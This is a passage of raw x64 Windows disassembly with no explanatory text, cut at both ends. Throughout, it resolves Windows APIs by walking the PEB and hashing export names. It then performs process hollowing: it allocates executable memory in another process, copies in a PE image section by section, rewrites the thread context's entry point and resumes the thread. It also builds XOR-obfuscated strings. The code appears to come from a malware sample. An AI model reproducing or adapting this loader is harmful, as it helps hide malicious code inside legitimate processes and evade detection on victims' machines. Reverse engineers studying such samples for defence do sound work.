jmp 0x140071b80
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov r9d, dword [r15 + 0x54]
xor ebx, ebx
mov qword [rsp + 0x20], rbx
mov r8, r14
mov rdx, r12
mov rcx, qword [rbp + 0x25c8]
call r10
mov r15d, ebx
mov rax, qword [rsp + 0x68]
cmp bx, word [rax + 6]
jae 0x140071e29
mov r14d, ebx
nop dword [rax]
nop word [rax + rax]
mov rax, qword [rbp + 0x2800]
movsxd rsi, dword [rax + 0x3c]
add rsi, r14
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140071ce6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140071ce6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0xcf51a6c6
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140071ce1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140071cc0
cmp r8d, 0x156d7a29
je 0x140071ceb
test r9d, r9d
jne 0x140071ca0
mov rax, qword [rax]
jmp 0x140071c70
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov rax, qword [rbp + 0x2800]
mov r9d, dword [rsi + rax + 0x118]
mov r8d, dword [rsi + rax + 0x11c]
add r8, rax
mov edx, dword [rsi + rax + 0x114]
add rdx, r12
xor eax, eax
mov qword [rsp + 0x20], rax
mov rcx, qword [rbp + 0x25c8]
call r10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140071dc6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140071dc6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0xf74e4965
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140071dc1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140071da0
cmp r8d, 0xce1809ca
je 0x140071dcb
test r9d, r9d
jne 0x140071d80
mov rax, qword [rax]
jmp 0x140071d50
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov rsi, qword [rsp + 0x60]
mov rdx, qword [rsi + 0x88]
add rdx, 0x10
xor eax, eax
mov qword [rsp + 0x20], rax
lea r9d, [rax + 8]
mov r8, r13
mov rcx, qword [rbp + 0x25c8]
call r10
inc r15
add r14, 0x28
mov rax, qword [rsp + 0x68]
movzx eax, word [rax + 6]
cmp r15, rax
jb 0x140071c50
mov rax, qword [rsp + 0x68]
mov eax, dword [rax + 0x28]
add rax, r12
mov qword [rsi + 0x80], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140071ec6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140071ec6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x9d961b82
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140071ec1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140071ea0
cmp r8d, 0x6283adf1
je 0x140071ecb
test r9d, r9d
jne 0x140071e80
mov rax, qword [rax]
jmp 0x140071e50
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
mov rdx, rsi
mov rcx, qword [rbp + 0x25d0]
call r8
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140071f86
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140071f86
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x6c2b2188
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140071f81
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140071f60
cmp r8d, 0xeaf3c883
je 0x140071f8b
test r9d, r9d
jne 0x140071f40
mov rax, qword [rax]
jmp 0x140071f10
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rbp + 0x25d0]
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140072036
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140072036
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x2fe4c69b
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140072031
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140072010
cmp r8d, 0x98dbff4f
je 0x14007203b
test r9d, r9d
jne 0x140071ff0
mov rax, qword [rax]
jmp 0x140071fc0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rbp + 0x25c8]
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400720e6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400720e6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x3c0e6d89
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400720e1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400720c0
cmp r8d, 0x3470b409
je 0x1400720eb
test r9d, r9d
jne 0x1400720a0
mov rax, qword [rax]
jmp 0x140072070
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rbp + 0x25d0]
call rdx
nop
lea rcx, [rbp + 0x28e0]
call fcn.140090180
nop
lea rcx, [rbp + 0x2b78]
call fcn.140090bf0
mov rax, qword [0x140214480]
cmp byte [rax + 0x2b], 1
jne 0x140072bec
lea rcx, [rbp + 0x2bd8]
call fcn.140090c70
nop
lea rcx, [rbp - 0x37]
call fcn.140089e10
mov rcx, rax
call fcn.14008ab90
mov rdx, rax
lea rcx, [rbp + 0x2bd8]
call fcn.140090bd0
mov edx, Ordinal_26
lea rcx, [rbp + 0x28c8]
call fcn.140062500
lea rdx, [rbp + 0x2bd8]
lea rcx, [rbp + 0x16a8]
call fcn.140090c90
mov r8, rax
lea rdx, [rbp + 0x28c8]
lea rcx, [0x140211120]
call fcn.1400a43e0
nop
lea rcx, [rbp + 0x28c8]
call fcn.140090170
mov r14, rax
mov qword [rbp + 0x2800], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x25e0], xmm0
mov qword [rbp + 0x25f0], rax
xorps xmm1, xmm1
movups xmmword [rbp + 0x2e30], xmm1
movups xmmword [rbp + 0x2e40], xmm1
movups xmmword [rbp + 0x2e50], xmm1
movups xmmword [rbp + 0x2e60], xmm1
movups xmmword [rbp + 0x2e70], xmm1
movups xmmword [rbp + 0x2e80], xmm1
mov qword [rbp + 0x2e90], rax
movsxd r15, dword [r14 + 0x3c]
add r15, r14
mov qword [rsp + 0x68], r15
cmp dword [r15], 0x4550
jne 0x140072bcc
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400722a6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400722a6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xf91a972f
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400722a1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140072280
cmp r8d, 0xe2c5896f
je 0x1400722ab
test r9d, r9d
jne 0x140072260
mov rax, qword [rax]
jmp 0x140072230
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r9d, dword [rcx + rax*4]
add r9, r10
mov r8d, 0x104
lea rdx, [rbp + 0x4600]
xor ecx, ecx
call r9
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140072366
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140072366
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r11 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r11
mov r8d, 0x83dd2332
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140072361
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140072340
cmp r8d, 0x9b47322e
je 0x14007236b
test r9d, r9d
jne 0x140072320
mov rax, qword [rax]
jmp 0x1400722f0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
lea rax, [rbp + 0x25e0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x2e30]
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], reloc.WS2_32.dll_sendto
mov dword [rsp + 0x20], eax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x4600]
xor ecx, ecx
call r10
test eax, eax
je 0x140072bcc
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140072456
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140072456
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0x7c6db1f9
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140072451
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140072430
cmp r8d, 0x8e8f73fd
je 0x14007245b
test r9d, r9d
jne 0x140072410
mov rax, qword [rax]
jmp 0x1400723e0
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov edx, 0x4d0
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x1000
call r10
mov rsi, rax
mov qword [rsp + 0x60], rax
mov dword [rax + 0x30], 0x10000b
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov edi, dword [rdx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140072526
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140072526
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [rbx + r9*4]
mov edx, dword [rax + r10]
add rdx, r10
mov r8d, 0xc7534f5b
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x140072521
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140072500
cmp r8d, 0xe21ce268
je 0x14007252b
test r9d, r9d
jne 0x1400724e0
mov rcx, qword [rcx]
jmp 0x1400724b0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
mov rdx, rsi
mov rcx, qword [rbp + 0x25e8]
call r8
test eax, eax
je 0x140072a6b
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x1400725e6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400725e6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0x908f5d0b
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400725e1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400725c0
cmp r8d, 0x90de6db2
je 0x1400725eb
test r9d, r9d
jne 0x1400725a0
mov rax, qword [rax]
jmp 0x140072570
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov r8d, dword [r15 + 0x50]
lea r13, [r15 + 0x30]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rdx, qword [r13]
mov rcx, qword [rbp + 0x25e0]
call r10
mov r12, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop dword [rax + rax]
mov r11, qword [rcx + 0x30]
movsxd rdx, dword [r11 + 0x3c]
mov edi, dword [rdx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x1400726b6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400726b6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rax, [rbx + r9*4]
mov edx, dword [rax + r11]
add rdx, r11
mov r8d, 0xd0f39357
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x1400726b1
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140072690
cmp r8d, 0xaded1740
je 0x1400726bb
test r9d, r9d
jne 0x140072670
mov rcx, qword [rcx]
jmp 0x140072640
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov r9d, dword [r15 + 0x54]
xor ebx, ebx
mov qword [rsp + 0x20], rbx
mov r8, r14
mov rdx, r12
mov rcx, qword [rbp + 0x25e0]
call r10
mov r15d, ebx
mov rax, qword [rsp + 0x68]
cmp bx, word [rax + 6]
jae 0x1400728e9
mov r14d, ebx
nop dword [rax]
nop word [rax + rax]
mov rax, qword [rbp + 0x2800]
movsxd rsi, dword [rax + 0x3c]
add rsi, r14
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x1400727a6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400727a6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0xe5f4dd30
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400727a1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140072780
cmp r8d, 0x8ca9428f
je 0x1400727ab
test r9d, r9d
jne 0x140072760
mov rax, qword [rax]
jmp 0x140072730
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov rax, qword [rbp + 0x2800]
mov r9d, dword [rsi + rax + 0x118]
mov r8d, dword [rsi + rax + 0x11c]
add r8, rax
mov edx, dword [rsi + rax + 0x114]
add rdx, r12
xor eax, eax
mov qword [rsp + 0x20], rax
mov rcx, qword [rbp + 0x25e0]
call r10
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r11, qword [rax + 0x30]
movsxd rcx, dword [r11 + 0x3c]
mov edi, dword [rcx + r11 + 0x88]
add rdi, r11
cmp rdi, r11
je 0x140072886
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140072886
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r11]
add rdx, r11
mov r8d, 0x908926d3
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140072881
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140072860
cmp r8d, 0x812be2f4
je 0x14007288b
test r9d, r9d
jne 0x140072840
mov rax, qword [rax]
jmp 0x140072810
mov ecx, dword [rdi + 0x1c]
add rcx, r11
mov eax, dword [rdi + 0x24]
add rax, r11
movzx eax, word [rax + r9*2]
mov r10d, dword [rcx + rax*4]
add r10, r11
mov rsi, qword [rsp + 0x60]
mov rdx, qword [rsi + 0x88]
add rdx, 0x10
xor eax, eax
mov qword [rsp + 0x20], rax
lea r9d, [rax + 8]
mov r8, r13
mov rcx, qword [rbp + 0x25e0]
call r10
inc r15
add r14, 0x28
mov rax, qword [rsp + 0x68]
movzx eax, word [rax + 6]
cmp r15, rax
jb 0x140072710
mov rax, qword [rsp + 0x68]
mov eax, dword [rax + 0x28]
add rax, r12
mov qword [rsi + 0x80], rax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140072986
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140072986
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x2888f96b
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140072981
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140072960
cmp r8d, 0xd1846944
je 0x14007298b
test r9d, r9d
jne 0x140072940
mov rax, qword [rax]
jmp 0x140072910
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
mov rdx, rsi
mov rcx, qword [rbp + 0x25e8]
call r8
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140072a46
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140072a46
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x5a476f7d
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140072a41
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140072a20
cmp r8d, 0x45bcee66
je 0x140072a4b
test r9d, r9d
jne 0x140072a00
mov rax, qword [rax]
jmp 0x1400729d0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rbp + 0x25e8]
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140072af6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140072af6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x39413f52
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140072af1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140072ad0
cmp r8d, 0x8a780058
je 0x140072afb
test r9d, r9d
jne 0x140072ab0
mov rax, qword [rax]
jmp 0x140072a80
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rbp + 0x25e0]
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140072ba6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140072ba6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x8219cfa4
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140072ba1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140072b80
cmp r8d, 0xb726e66e
je 0x140072bab
test r9d, r9d
jne 0x140072b60
mov rax, qword [rax]
jmp 0x140072b30
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
mov rcx, qword [rbp + 0x25e8]
call rdx
nop
lea rcx, [rbp + 0x28c8]
call fcn.140090180
nop
lea rcx, [rbp + 0x2bd8]
call fcn.140090bf0
mov rax, qword [0x140214480]
cmp byte [rax + 0x24], 1
jne 0x140073db9
call fcn.140051df0
call fcn.1400537a0
lea rax, [rbp + 0xe48]
mov qword [rbp + 0x2800], rax
lea rcx, [rbp + 0xe48]
call fcn.140056470
mov rbx, rax
mov byte [rbp + 0x5a0], Ordinal_79
mov byte [rbp + 0x5a1], 0x55
mov byte [rbp + 0x5a2], 0x5e
mov byte [rbp + 0x5a3], 0x43
mov byte [rbp + 0x5a4], 0x5f
mov byte [rbp + 0x5a5], 0x43
mov byte [rbp + 0x5a6], 0x57
mov byte [rbp + 0x5a7], 0x41
mov byte [rbp + 0x5a8], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x5a9], 0x50
mov byte [rbp + 0x5aa], Ordinal_79
mov byte [rbp + 0x5ab], 0x52
mov byte [rbp + 0x5ac], 0
mov byte [rbp + 0x5ad], 1
lea rdx, [rbp + 0x1668]
lea rcx, [rbp + 0x5a0]
call fcn.14008ef50
nop
lea rcx, [rbp + 0x1668]
call fcn.14004b5f0
nop
mov r8b, 1
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x1668]
call fcn.140090bf0
call fcn.1400559f0
mov rax, qword [0x140214480]
cmp byte [rax + 0x27], 0
je 0x140072cd1
call fcn.140055490
lea rax, [rbp + 0xe60]
mov qword [rbp + 0x2800], rax
lea rcx, [rbp + 0xe60]
call fcn.140055c90
mov rbx, rax
movdqa xmm0, xmmword [str.__O_DBQAQPX]
movdqu xmmword [rbp + 0x8f0], xmm0
mov byte [rbp + 0x900], 1
lea rdx, [rbp + 0x1628]
lea rcx, [rbp + 0x8f0]
call fcn.14008e5c0
nop
lea rcx, [rbp + 0x1628]
call fcn.14004b5f0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x1628]
call fcn.140090bf0
lea rax, [rbp + 0xe78]
mov qword [rbp + 0x2800], rax
lea rcx, [rbp + 0xe78]
call fcn.140056380
mov rbx, rax
movdqa xmm0, xmmword [str.__O_DBQAQPX]
movdqu xmmword [rbp + 0x908], xmm0
mov byte [rbp + 0x918], 1
lea rdx, [rbp + 0x15e8]
lea rcx, [rbp + 0x908]
call fcn.14008e5c0
nop
lea rcx, [rbp + 0x15e8]
call fcn.14004b5f0
nop
xor r8d, r8d
mov rdx, rbx
mov ecx, eax
call fcn.140054030
nop
lea rcx, [rbp + 0x15e8]
call fcn.140090bf0
movdqa xmm0, xmmword [str.__O_DBQAQPX]
movdqu xmmword [rbp + 0x920], xmm0
mov byte [rbp + 0x930], 1
lea rdx, [rbp + 0x15a8]
lea rcx, [rbp + 0x920]
call fcn.14008e5c0
nop
lea rcx, [rbp + 0x15a8]
call fcn.14004b5f0
mov ecx, eax
call fcn.14004bcd0
nop
lea rcx, [rbp + 0x15a8]
call fcn.140090bf0
lea rax, [rbp + 0xe90]
mov qword [rbp + 0x2800], rax
lea rcx, [rbp + 0xe90]
call fcn.140056380
mov rbx, rax
mov byte [rbp + 0x5b0], Ordinal_79
mov byte [rbp + 0x5b1], 0x55
mov byte [rbp + 0x5b2], 0x5e
mov byte [rbp + 0x5b3], 0x43
mov byte [rbp + 0x5b4], 0x5f
mov byte [rbp + 0x5b5], 0x43
mov byte [rbp + 0x5b6], 0x57
